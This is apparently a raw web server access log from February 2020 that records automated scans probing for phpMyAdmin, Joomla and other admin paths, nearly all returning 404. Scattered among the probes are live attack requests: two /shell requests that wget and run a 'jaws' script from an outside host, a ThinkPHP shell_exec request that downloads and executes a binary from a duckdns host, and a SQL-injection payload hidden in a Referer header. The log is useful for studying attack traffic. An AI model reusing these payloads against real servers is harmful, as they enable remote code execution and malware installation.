140.143.167.250 - - [04/Feb/2020:22:54:09 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:54:10 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.167.250 - - [04/Feb/2020:22:54:10 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:10 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:11 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:12 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:12 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:12 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:13 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:13 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:13 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:13 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:14 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:14 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
63.143.35.230 - - [04/Feb/2020:22:54:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
140.143.167.250 - - [04/Feb/2020:22:54:16 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:17 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:17 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:17 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:54:17 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
154.202.13.17 - - [04/Feb/2020:22:54:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:54:22 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
63.143.35.230 - - [04/Feb/2020:22:54:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
154.202.13.17 - - [04/Feb/2020:22:54:26 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:54:34 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:54:39 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [04/Feb/2020:22:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.202.13.17 - - [04/Feb/2020:22:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:54:57 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:55:05 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:55:13 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
154.202.13.17 - - [04/Feb/2020:22:55:17 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:21 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
42.115.231.220 - - [04/Feb/2020:22:55:30 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
154.202.13.17 - - [04/Feb/2020:22:55:37 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:37 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:41 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:41 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [04/Feb/2020:22:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.202.13.17 - - [04/Feb/2020:22:55:45 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:45 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:49 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:49 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:53 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:53 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:57 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:55:57 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:01 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
183.80.89.244 - - [04/Feb/2020:22:56:01 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
154.202.13.17 - - [04/Feb/2020:22:56:01 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:05 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:05 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:09 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
46.236.76.95 - - [04/Feb/2020:22:56:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
154.202.13.17 - - [04/Feb/2020:22:56:09 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:13 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:13 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:17 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:17 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:21 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:21 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:21 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:22 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:22 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:22 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:25 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:25 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:25 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:26 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:26 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:29 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:29 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:29 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:30 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:30 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:30 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:33 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:33 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:33 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:34 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:34 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:34 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:37 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:37 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:37 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:38 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:38 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:38 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:39 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:41 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:41 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:41 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:42 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:42 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:42 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:43 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [04/Feb/2020:22:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.202.13.17 - - [04/Feb/2020:22:56:49 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:53 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:53 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:53 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:54 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:55 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:57 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:57 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:57 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:58 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:58 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:58 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:56:59 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:01 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:01 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:01 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:02 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:02 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:02 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:03 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:05 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:05 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:05 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:06 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:06 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:06 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:07 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:09 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:09 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
154.202.13.17 - - [04/Feb/2020:22:57:09 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
